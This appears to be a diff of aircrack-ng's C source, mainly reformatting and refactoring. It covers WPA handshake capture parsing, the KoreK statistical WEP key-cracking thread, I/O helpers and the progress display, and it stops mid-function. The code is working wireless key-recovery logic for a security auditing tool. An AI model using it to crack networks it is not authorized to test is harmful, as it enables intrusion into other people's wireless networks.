+			request, bssid, dest, fmt, buffer, h80211, &ivs2, &pkh, &ap_cur);
 
-		/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
+		pthread_mutex_unlock(&mx_apl);
 
-		if( ( h80211[z + 6] & 0x08 ) != 0 &&
-			( h80211[z + 6] & 0x40 ) == 0 &&
-			( h80211[z + 6] & 0x80 ) == 0 &&
-			( h80211[z + 5] & 0x01 ) != 0 )
+		if (rv < 0)
 		{
-			if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 )
-			{
-				memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 );
-
-								 /* supplicant nonce set */
-				st_cur->wpa.state |= 2;
-			}
-
-			if( (st_cur->wpa.state & 4) != 4 )
-			{
-				/* copy the MIC & eapol frame */
-
-				st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 )
-					+   h80211[z + 3] + 4;
-
-				if (st_cur->wpa.eapol_size == 0 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)
-					|| pkh.len - z < st_cur->wpa.eapol_size)
-				{
-					// Ignore the packet trying to crash us.
-					st_cur->wpa.eapol_size = 0;
-					goto unlock_mx_apl;
-				}
-
-				memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 );
-				memcpy( st_cur->wpa.eapol,  &h80211[z], st_cur->wpa.eapol_size );
-				memset( st_cur->wpa.eapol + 81, 0, 16 );
-
-									/* eapol frame & keymic set */
-				st_cur->wpa.state |= 4;
-
-				/* copy the key descriptor version */
-
-				st_cur->wpa.keyver = h80211[z + 6] & 7;
-			}
+			// NOTE: An error occurred during processing, bail!
+			goto read_fail;
 		}
 
-		/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
-
-		if( ( h80211[z + 6] & 0x08 ) != 0 &&
-			( h80211[z + 6] & 0x40 ) != 0 &&
-			( h80211[z + 6] & 0x80 ) != 0 &&
-			( h80211[z + 5] & 0x01 ) != 0 )
+		if (ap_cur != NULL)
 		{
-			if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 )
+			if ((ap_cur->nb_ivs >= opt.max_ivs)
+				|| (ap_cur->nb_ivs_clean >= opt.max_ivs)
+				|| (ap_cur->nb_ivs_vague >= opt.max_ivs))
 			{
-				memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 );
-
-								 /* authenticator nonce set */
-				st_cur->wpa.state |= 1;
+				goto done_reading;
 			}
-
-			if( (st_cur->wpa.state & 4) != 4 )
-			{
-				/* copy the MIC & eapol frame */
-
-				st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 )
-					+   h80211[z + 3] + 4;
-
-				if (st_cur->wpa.eapol_size == 0 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)
-					|| pkh.len - z < st_cur->wpa.eapol_size)
-				{
-					// Ignore the packet trying to crash us.
-					st_cur->wpa.eapol_size = 0;
-					goto unlock_mx_apl;
-				}
-
-				memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 );
-				memcpy( st_cur->wpa.eapol,  &h80211[z], st_cur->wpa.eapol_size );
-				memset( st_cur->wpa.eapol + 81, 0, 16 );
-
-									/* eapol frame & keymic set */
-				st_cur->wpa.state |= 4;
-
-				/* copy the key descriptor version */
-
-				st_cur->wpa.keyver = h80211[z + 6] & 7;
-			}
-		}
-
-		if( st_cur->wpa.state == 7 )
-		{
-			/* got one valid handshake */
-
-			memcpy( st_cur->wpa.stmac, stmac, 6 );
-			memcpy( &ap_cur->wpa, &st_cur->wpa,
-				sizeof( struct WPA_hdsk ) );
 		}
-
-		unlock_mx_apl:
-
-		pthread_mutex_unlock( &mx_apl );
-
-		if( ap_cur != NULL )
-			if( ap_cur->nb_ivs >= opt.max_ivs )
-				break;
-
 	}
 
-	read_fail:
+done_reading:
+	++nb_eof;
 
-	if(crb.buf1 != NULL)
+read_fail:
+	if (buffer != NULL)
 	{
-		free(crb.buf1);
-		crb.buf1 = NULL;
+		free(buffer);
+		buffer = NULL;
 	}
-	if(crb.buf2 != NULL)
+
+	if (rb.buf1 != NULL)
 	{
-		free(crb.buf2);
-		crb.buf2 = NULL;
+		free(rb.buf1);
+		rb.buf1 = NULL;
 	}
-	if(buffer != NULL)
+
+	if (rb.buf2 != NULL)
 	{
-		free(buffer);
-		buffer = NULL;
+		free(rb.buf2);
+		rb.buf2 = NULL;
 	}
 
-	return;
+	if (fd != -1) close(fd);
+
+	free(arg);
 }
 
 /* timing routine */
 
-float chrono( struct timeval *start, int reset )
+float chrono(struct timeval * start, int reset)
 {
 	float delta;
 	struct timeval current;
 
-	gettimeofday( &current, NULL );
+	gettimeofday(&current, NULL);
 
-	delta = ( current.tv_sec  - start->tv_sec  ) + (float)
-		( current.tv_usec - start->tv_usec ) / 1000000;
+	delta = (current.tv_sec - start->tv_sec)
+			+ (float) (current.tv_usec - start->tv_usec) / 1000000;
 
-	if( reset )
-		gettimeofday( start, NULL );
+	if (reset) gettimeofday(start, NULL);
 
-	return( delta );
+	return (delta);
 }
 
 /* signal-safe I/O routines */
 
-int safe_read( int fd, void *buf, size_t len )
+static int safe_read(int fd, void * buf, size_t len)
 {
 	int n;
 	size_t sum = 0;
-	char  *off = (char *) buf;
+	char * off = (char *) buf;
 
-	while( sum < len )
+	while (sum < len)
 	{
-		if( ! ( n = read( fd, (void *) off, len - sum ) ) )
-                {
-			return( 0 );
-                }
-		if( n < 0 && errno == EINTR ) continue;
-		if( n < 0 ) return( n );
+		if (!(n = read(fd, (void *) off, len - sum)))
+		{
+			return (0);
+		}
+		if (n < 0 && errno == EINTR) continue;
+		if (n < 0) return (n);
 
 		sum += n;
 		off += n;
 	}
 
-	return( sum );
+	return (sum);
 }
 
-int safe_write( int fd, void *buf, size_t len )
+static int safe_write(int fd, void * buf, size_t len)
 {
 	int n;
 	size_t sum = 0;
-	char  *off = (char *) buf;
+	char * off = (char *) buf;
 
-	while( sum < len )
+	while (sum < len)
 	{
-		if( ( n = write( fd, (void *) off, len - sum ) ) < 0 )
+		if ((n = write(fd, (void *) off, len - sum)) < 0)
 		{
-			if( errno == EINTR ) continue;
-			return( n );
+			if (errno == EINTR) continue;
+			return (n);
 		}
 
 		sum += n;
 		off += n;
 	}
 
-	return( sum );
+	return (sum);
 }
 
 /* each thread computes the votes over a subset of the IVs */
 
-int crack_wep_thread( void *arg )
+static int crack_wep_thread(void * arg)
 {
 	long xv, min, max;
 	unsigned char jj[256];
@@ -2663,477 +2265,621 @@
 
 	int i, j, B, cid = (long) arg;
 	int votes[N_ATTACKS][256];
-	//first: first S-Box Setup; first2:first round with new key; oldB: old B value
-	int first=1, first2=1, oldB=0, oldq=0;
+	// first: first S-Box Setup; first2:first round with new key; oldB: old B
+	// value
+	int first = 1, first2 = 1, oldB = 0, oldq = 0;
 
-	memcpy( S,  R, 256 );
-	memcpy( Si, R, 256 );
-	while( 1 )
+	memcpy(S, R, 256);
+	memcpy(Si, R, 256);
+	while (1)
 	{
-		if(!first) oldB=B;
+		if (!first) oldB = B;
 
-		if( safe_read( mc_pipe[cid][0], (void *) &B,
-			sizeof( int ) ) != sizeof( int ) )
+		if (safe_read(mc_pipe[cid][0], (void *) &B, sizeof(int)) != sizeof(int))
 		{
-			perror( "read failed" );
-			kill( 0, SIGTERM );
-			_exit( FAILURE );
+			perror("read failed");
+			kill(0, SIGTERM);
+			_exit(FAILURE);
 		}
-		if( close_aircrack )
-			break;
+		if (close_aircrack) break;
 
-		first2=1;
+		first2 = 1;
 
-		min = 5 * ( ( (     cid ) * wep.nb_ivs ) / opt.nbcpu );
-		max = 5 * ( ( ( 1 + cid ) * wep.nb_ivs ) / opt.nbcpu );
+		min = 5 * (((cid) *wep.nb_ivs) / opt.nbcpu);
+		max = 5 * (((1 + cid) * wep.nb_ivs) / opt.nbcpu);
 
 		q = 3 + B;
 
-		memcpy( K + 3, wep.key, B );
-		memset( votes, 0, sizeof( votes ) );
+		memcpy(K + 3, wep.key, B);
+		memset(votes, 0, sizeof(votes));
 
 		/* START: KoreK attacks */
 
-		for( xv = min; xv < max; xv += 5 )
+		for (xv = min; xv < max; xv += 5)
 		{
-			if(!first)
+			if (!first)
 			{
-				for(i=0; i<oldq; i++)
+				for (i = 0; i < oldq; i++)
 				{
 					S[i] = Si[i] = i;
 					S[jj[i]] = Si[jj[i]] = jj[i];
-// 					Si[i] = i;
-// 					Si[jj[i]] = jj[i];
+					// 					Si[i] = i;
+					// 					Si[jj[i]] = jj[i];
 				}
 			}
 
-			pthread_mutex_lock( &mx_ivb );
+			pthread_mutex_lock(&mx_ivb);
 
-			memcpy( K, &wep.ivbuf[xv], 3 );
+			memcpy(K, &wep.ivbuf[xv], 3);
 
-			for( i = j = 0; i < q; i++ )
+			for (i = j = 0; i < q; i++)
 			{
-//				i can never be 3+opt.keylen or exceed it, as i runs from 0 to q and q is defined as 3+B (with B the keybyte to attack)
-// 				jj[i] = j = ( j + S[i] + K[i % (3 + opt.keylen)] ) & 0xFF;
-				jj[i] = j = ( j + S[i] + K[i] ) & 0xFF;
-				SWAP( S[i], S[j] );
+				//				i can never be 3+opt.keylen or exceed it, as i
+				//runs
+				// from 0 to q and q is defined as 3+B (with B the keybyte to
+				// attack)
+				// 				jj[i] = j = ( j + S[i] + K[i % (3 + opt.keylen)] )
+				// &
+				// 0xFF;
+				jj[i] = j = (j + S[i] + K[i]) & 0xFF;
+				SWAP(S[i], S[j]);
 			}
 
-			i = q; do { i--; SWAP(Si[i],Si[jj[i]]); }
-			while( i != 0 );
-
-			o1 = wep.ivbuf[xv + 3] ^ 0xAA; io1 = Si[o1]; S1 = S[1];
-			o2 = wep.ivbuf[xv + 4] ^ 0xAA; io2 = Si[o2]; S2 = S[2];
-			pthread_mutex_unlock( &mx_ivb );
-
-			if(first)
-				first=0;
-			if(first2)
-			{
-				oldB=B;
-				oldq = 3+oldB;
-				first2=0;
-			}
-
-			Sq = S[q]; dq = Sq + jj[q - 1];
-
-			if( S2 == 0 )
+			i = q;
+			do
 			{
-				if( ( S1 == 2 ) && ( o1 == 2 ) )
-				{
-					Kq = 1 - dq; votes[A_neg][Kq]++;
-					Kq = 2 - dq; votes[A_neg][Kq]++;
-					//to signal general usage
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-					//to know which attack used this iv
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_neg);
-				}
-				else if( o2 == 0 )
-				{
-					Kq = 2 - dq; votes[A_neg][Kq]++;
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_neg);
+				i--;
+				SWAP(Si[i], Si[jj[i]]);
+			} while (i != 0);
+
+			o1 = wep.ivbuf[xv + 3] ^ 0xAA;
+			io1 = Si[o1];
+			S1 = S[1];
+			o2 = wep.ivbuf[xv + 4] ^ 0xAA;
+			io2 = Si[o2];
+			S2 = S[2];
+			pthread_mutex_unlock(&mx_ivb);
+
+			if (first) first = 0;
+			if (first2)
+			{
+				oldB = B;
+				oldq = 3 + oldB;
+				first2 = 0;
+			}
+
+			Sq = S[q];
+			dq = Sq + jj[q - 1];
+
+			if (S2 == 0)
+			{
+				if ((S1 == 2) && (o1 == 2))
+				{
+					Kq = 1 - dq;
+					votes[A_neg][Kq]++;
+					Kq = 2 - dq;
+					votes[A_neg][Kq]++;
+					// to signal general usage
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+					// |=
+					// USE_IV;
+					// to know which attack used this iv
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
+					// <<
+					// (4+A_neg);
+				}
+				else if (o2 == 0)
+				{
+					Kq = 2 - dq;
+					votes[A_neg][Kq]++;
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+					// |=
+					// USE_IV;
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
+					// <<
+					// (4+A_neg);
 				}
 			}
 			else
 			{
-				if( ( o2 == 0 ) && ( Sq == 0 ) )
+				if ((o2 == 0) && (Sq == 0))
 				{
-					Kq = 2 - dq; votes[A_u15][Kq]++;
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_u15);
+					Kq = 2 - dq;
+					votes[A_u15][Kq]++;
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+					// |=
+					// USE_IV;
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
+					// <<
+					// (4+A_u15);
+				}
+			}
+
+			if ((S1 == 1) && (o1 == S2))
+			{
+				Kq = 1 - dq;
+				votes[A_neg][Kq]++;
+				Kq = 2 - dq;
+				votes[A_neg][Kq]++;
+				// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |=
+				// USE_IV;
+				// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
+				// <<
+				// (4+A_neg);
+			}
+
+			if ((S1 == 0) && (S[0] == 1) && (o1 == 1))
+			{
+				Kq = 0 - dq;
+				votes[A_neg][Kq]++;
+				Kq = 1 - dq;
+				votes[A_neg][Kq]++;
+				// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |=
+				// USE_IV;
+				// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
+				// <<
+				// (4+A_neg);
+			}
+
+			if (S1 == q)
+			{
+				if (o1 == q)
+				{
+					Kq = Si[0] - dq;
+					votes[A_s13][Kq]++;
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+					// |=
+					// USE_IV;
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
+					// <<
+					// (4+A_s13);
+				}
+				else if (((1 - q - o1) & 0xFF) == 0)
+				{
+					Kq = io1 - dq;
+					votes[A_u13_1][Kq]++;
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+					// |=
+					// USE_IV;
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
+					// <<
+					// (4+A_u13_1);
 				}
-			}
-
-			if( ( S1 == 1 ) && ( o1 == S2 ) )
-			{
-				Kq = 1 - dq; votes[A_neg][Kq]++;
-				Kq = 2 - dq; votes[A_neg][Kq]++;
-// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_neg);
-			}
-
-			if( ( S1 == 0 ) && ( S[0] == 1 ) && ( o1 == 1 ) )
-			{
-				Kq = 0 - dq; votes[A_neg][Kq]++;
-				Kq = 1 - dq; votes[A_neg][Kq]++;
-// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_neg);
-			}
-
-			if( S1 == q )
-			{
-				if( o1 == q )
-				{
-					Kq = Si[0] - dq; votes[A_s13][Kq]++;
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s13);
-				}
-				else if( ( ( 1 - q - o1 ) & 0xFF ) == 0 )
+				else if (io1 < q)
 				{
-					Kq = io1 - dq; votes[A_u13_1][Kq]++;
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_u13_1);
-				}
-				else if( io1 < q )
-				{
-					jq = Si[( io1 - q ) & 0xFF];
+					jq = Si[(io1 - q) & 0xFF];
 
-					if( jq != 1 )
+					if (jq != 1)
 					{
-						Kq = jq - dq; votes[A_u5_1][Kq]++;
-// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_u5_1);
+						Kq = jq - dq;
+						votes[A_u5_1][Kq]++;
+						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+						// |=
+						// USE_IV;
+						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+						// |=
+						// 1 << (4+A_u5_1);
 					}
 				}
 			}
 
-			if( ( io1 == 2 ) && ( S[q] == 1 ) )
+			if ((io1 == 2) && (S[q] == 1))
 			{
-				Kq = 1 - dq; votes[A_u5_2][Kq]++;
-// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_u5_2);
+				Kq = 1 - dq;
+				votes[A_u5_2][Kq]++;
+				// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |=
+				// USE_IV;
+				// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
+				// <<
+				// (4+A_u5_2);
+			}
+
+			if (S[q] == q)
+			{
+				if ((S1 == 0) && (o1 == q))
+				{
+					Kq = 1 - dq;
+					votes[A_u13_2][Kq]++;
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+					// |=
+					// USE_IV;
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
+					// <<
+					// (4+A_u13_2);
+				}
+				else if ((((1 - q - S1) & 0xFF) == 0) && (o1 == S1))
+				{
+					Kq = 1 - dq;
+					votes[A_u13_3][Kq]++;
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+					// |=
+					// USE_IV;
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
+					// <<
+					// (4+A_u13_3);
+				}
+				else if ((S1 >= ((-q) & 0xFF))
+						 && (((q + S1 - io1) & 0xFF) == 0))
+				{
+					Kq = 1 - dq;
+					votes[A_u5_3][Kq]++;
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+					// |=
+					// USE_IV;
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
+					// <<
+					// (4+A_u5_3);
+				}
+			}
+
+			if ((S1 < q) && (((S1 + S[S1] - q) & 0xFF) == 0) && (io1 != 1)
+				&& (io1 != S[S1]))
+			{
+				Kq = io1 - dq;
+				votes[A_s5_1][Kq]++;
+				// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |=
+				// USE_IV;
+				// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
+				// <<
+				// (4+A_s5_1);
 			}
 
-			if( S[q] == q )
+			if ((S1 > q) && (((S2 + S1 - q) & 0xFF) == 0))
 			{
-				if( ( S1 == 0 ) && ( o1 == q ) )
-				{
-					Kq = 1 - dq; votes[A_u13_2][Kq]++;
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_u13_2);
-				}
-				else if( ( ( ( 1 - q - S1 ) & 0xFF ) == 0 ) && ( o1 == S1 ) )
-				{
-					Kq = 1 - dq; votes[A_u13_3][Kq]++;
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_u13_3);
-				}
-				else if( ( S1 >= ( ( -q ) & 0xFF ) )
-					&& ( ( ( q + S1 - io1 ) & 0xFF ) == 0 ) )
-				{
-					Kq = 1 - dq; votes[A_u5_3][Kq]++;
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_u5_3);
-				}
-			}
-
-			if( ( S1 < q ) && ( ( ( S1 + S[S1] - q ) & 0xFF ) == 0 )  &&
-				( io1 != 1 ) && ( io1 != S[S1] ) )
-			{
-				Kq = io1 - dq; votes[A_s5_1][Kq]++;
-// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 				all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s5_1);
-			}
-
-			if( ( S1 > q ) && ( ( ( S2 + S1 - q ) & 0xFF ) == 0 ) )
-			{
-				if( o2 == S1 )
+				if (o2 == S1)
 				{
 					jq = Si[(S1 - S2) & 0xFF];
 
-					if( ( jq != 1 ) && ( jq != 2 ) )
+					if ((jq != 1) && (jq != 2))
 					{
-						Kq = jq - dq; votes[A_s5_2][Kq]++;
-// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s5_2);
+						Kq = jq - dq;
+						votes[A_s5_2][Kq]++;
+						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+						// |=
+						// USE_IV;
+						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+						// |=
+						// 1 << (4+A_s5_2);
 					}
 				}
-				else if( o2 == ( ( 2 - S2 ) & 0xFF ) )
+				else if (o2 == ((2 - S2) & 0xFF))
 				{
 					jq = io2;
 
-					if( ( jq != 1 ) && ( jq != 2 ) )
+					if ((jq != 1) && (jq != 2))
 					{
-						Kq = jq - dq; votes[A_s5_3][Kq]++;
-// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s5_3);
+						Kq = jq - dq;
+						votes[A_s5_3][Kq]++;
+						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+						// |=
+						// USE_IV;
+						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+						// |=
+						// 1 << (4+A_s5_3);
 					}
 				}
 			}
 
-			if( ( S[1] != 2 ) && ( S[2] != 0 ) )
+			if ((S[1] != 2) && (S[2] != 0))
 			{
 				J2 = S[1] + S[2];
 
-				if( J2 < q )
+				if (J2 < q)
 				{
 					t2 = S[J2] + S[2];
 
-					if( ( t2 == q ) && ( io2 != 1 ) && ( io2 != 2 )
-						&& ( io2 != J2 ) )
+					if ((t2 == q) && (io2 != 1) && (io2 != 2) && (io2 != J2))
 					{
-						Kq = io2 - dq; votes[A_s3][Kq]++;
-// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s3);
+						Kq = io2 - dq;
+						votes[A_s3][Kq]++;
+						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+						// |=
+						// USE_IV;
+						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+						// |=
+						// 1 << (4+A_s3);
 					}
 				}
 			}
 
-			if( S1 == 2 )
+			if (S1 == 2)
 			{
-				if( q == 4 )
+				if (q == 4)
 				{
-					if( o2 == 0 )
+					if (o2 == 0)
 					{
-						Kq = Si[0] - dq; votes[A_4_s13][Kq]++;
-// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_4_s13);
+						Kq = Si[0] - dq;
+						votes[A_4_s13][Kq]++;
+						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+						// |=
+						// USE_IV;
+						// 						all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+						// |=
+						// 1 << (4+A_4_s13);
 					}
 					else
 					{
-						if( ( jj[1] == 2 ) && ( io2 == 0 ) )
+						if ((jj[1] == 2) && (io2 == 0))
 						{
-							Kq = Si[254] - dq; votes[A_4_u5_1][Kq]++;
-// 							all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 							all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_4_u5_1);
+							Kq = Si[254] - dq;
+							votes[A_4_u5_1][Kq]++;
+							// 							all_ivs[256*256*K[0] + 256*K[1]
+							// +
+							// K[2]].used |= USE_IV;
+							// 							all_ivs[256*256*K[0] + 256*K[1]
+							// +
+							// K[2]].used |= 1 << (4+A_4_u5_1);
 						}
-						if( ( jj[1] == 2 ) && ( io2 == 2 ) )
+						if ((jj[1] == 2) && (io2 == 2))
 						{
-							Kq = Si[255] - dq; votes[A_4_u5_2][Kq]++;
-// 							all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 							all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_4_u5_2);
+							Kq = Si[255] - dq;
+							votes[A_4_u5_2][Kq]++;
+							// 							all_ivs[256*256*K[0] + 256*K[1]
+							// +
+							// K[2]].used |= USE_IV;
+							// 							all_ivs[256*256*K[0] + 256*K[1]
+							// +
+							// K[2]].used |= 1 << (4+A_4_u5_2);
 						}
 					}
 				}
-				else if( ( q > 4 ) && ( ( S[4] + 2 ) == q ) &&
-					( io2 != 1 ) && ( io2 != 4 ) )
+				else if ((q > 4) && ((S[4] + 2) == q) && (io2 != 1)
+						 && (io2 != 4))
 				{
-					Kq = io2 - dq; votes[A_u5_4][Kq]++;
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV;
-// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_u5_4);
+					Kq = io2 - dq;
+					votes[A_u5_4][Kq]++;
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used
+					// |=
+					// USE_IV;
+					// 					all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1
+					// <<
+					// (4+A_u5_4);
 				}
 			}
-			if( close_aircrack )
-				break;
+			if (close_aircrack) break;
 		}
-		if( close_aircrack )
-			break;
+		if (close_aircrack) break;
 		/* END: KoreK attacks */
 
-		if( safe_write( cm_pipe[cid][1], votes,
-			sizeof( votes ) ) != sizeof( votes ) )
+		if (safe_write(cm_pipe[cid][1], votes, sizeof(votes)) != sizeof(votes))
 		{
-			perror( "write failed" );
-			kill( 0, SIGTERM );
-			_exit( FAILURE );
+			perror("write failed");
+			kill(0, SIGTERM);
+			_exit(FAILURE);
 		}
 	}
 
-	return( 0 );
+	return (0);
 }
 
 /* display the current votes */
 
-void show_wep_stats( int B, int force, PTW_tableentry table[PTW_KEYHSBYTES][PTW_n], int choices[KEYHSBYTES], int depth[KEYHSBYTES], int prod )
+void show_wep_stats(int B,
+					int force,
+					PTW_tableentry table[PTW_KEYHSBYTES][PTW_n],
+					int choices[KEYHSBYTES],
+					int depth[KEYHSBYTES],
+					int prod)
 {
 	float delta;
 	struct winsize ws;
 	int i, et_h, et_m, et_s;
 	static int is_cleared = 0;
 
-	if( (chrono( &t_stats, 0 ) < 1.51 || wepkey_crack_success) && force == 0 )
+	if ((chrono(&t_stats, 0) < 1.51 || wepkey_crack_success) && force == 0)
 		return;
 
-	if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 )
+	if (ioctl(0, TIOCGWINSZ, &ws) < 0)
 	{
 		ws.ws_row = 25;
 		ws.ws_col = 80;
 	}
 
-	chrono( &t_stats, 1 );
+	chrono(&t_stats, 1);
 
-	delta = chrono( &t_begin, 0 );
+	delta = chrono(&t_begin, 0);
 
-	et_h =   delta / 3600;
-	et_m = ( delta - et_h * 3600 ) / 60;
-	et_s =   delta - et_h * 3600 - et_m * 60;
+	et_h = delta / 3600;
+	et_m = (delta - et_h * 3600) / 60;
+	et_s = delta - et_h * 3600 - et_m * 60;
 
-	if( is_cleared == 0 )
+	if (is_cleared == 0)
 	{
 		is_cleared++;
 
-		if( opt.l33t )
-			printf( "\33[40m" );
+		if (opt.l33t) textcolor_bg(TEXT_BLACK);
 
-		printf( "\33[2J" );
+		erase_display(2);
 	}
 
-	if( opt.l33t )
-		printf( "\33[34;1m" );
+	if (opt.l33t) textcolor(TEXT_BRIGHT, TEXT_BLUE, TEXT_BLACK);
 
-	printf( "\33[2;%dH%s\n\n", (ws.ws_col - 12) / 2,
-		progname );
+	moveto((ws.ws_col - 12) / 2, 2);
+	printf("%s\n\n", progname);
 
-	if( opt.l33t )
-		printf( "\33[33;1m" );
+	if (opt.l33t) textcolor(TEXT_BRIGHT, TEXT_YELLOW, TEXT_BLACK);
 
-	if(table)
-		printf( "\33[5;%dH[%02d:%02d:%02d] Tested %d keys (got %ld IVs)\33[K",
-			(ws.ws_col - 44) / 2, et_h, et_m, et_s, prod, opt.ap->nb_ivs );
+	moveto((ws.ws_col - 44) / 2, 5);
+	if (table)
+		printf("[%02d:%02d:%02d] Tested %d keys (got %ld IVs)",
+			   et_h,
+			   et_m,
+			   et_s,
+			   prod,
+			   opt.ap->nb_ivs);
 	else
-		printf( "\33[5;%dH[%02d:%02d:%02d] Tested %lld keys (got %ld IVs)\33[K",
-			(ws.ws_col - 44) / 2, et_h, et_m, et_s, nb_tried, wep.nb_ivs_now );
+		printf("[%02d:%02d:%02d] Tested %lld keys (got %ld IVs)",
+			   et_h,
+			   et_m,
+			   et_s,
+			   nb_tried,
+			   wep.nb_ivs_now);
+	erase_line(0);
 
-	if( opt.l33t )
-		printf( "\33[32;22m" );
+	if (opt.l33t)
+	{
+		textcolor_fg(TEXT_GREEN);
+		textcolor_normal();
+	}
 
-	printf( "\33[7;4HKB    depth   byte(vote)\n" );
+	moveto(4, 7);
+	printf("KB    depth   byte(vote)\n");
 
-	for( i = 0; i <= B; i++ )
+	for (i = 0; i <= B; i++)
 	{
-		int j, k = ( ws.ws_col - 20 ) / 11;
+		int j, k = (ws.ws_col - 20) / 11;
 
-		if(!table)
+		if (!table)
 		{
-			if( opt.l33t )
-				printf( "   %2d  \33[1m%3d\33[22m/%3d   ",
-					i, wep.depth[i], wep.fudge[i] );
+			if (opt.l33t)
+			{
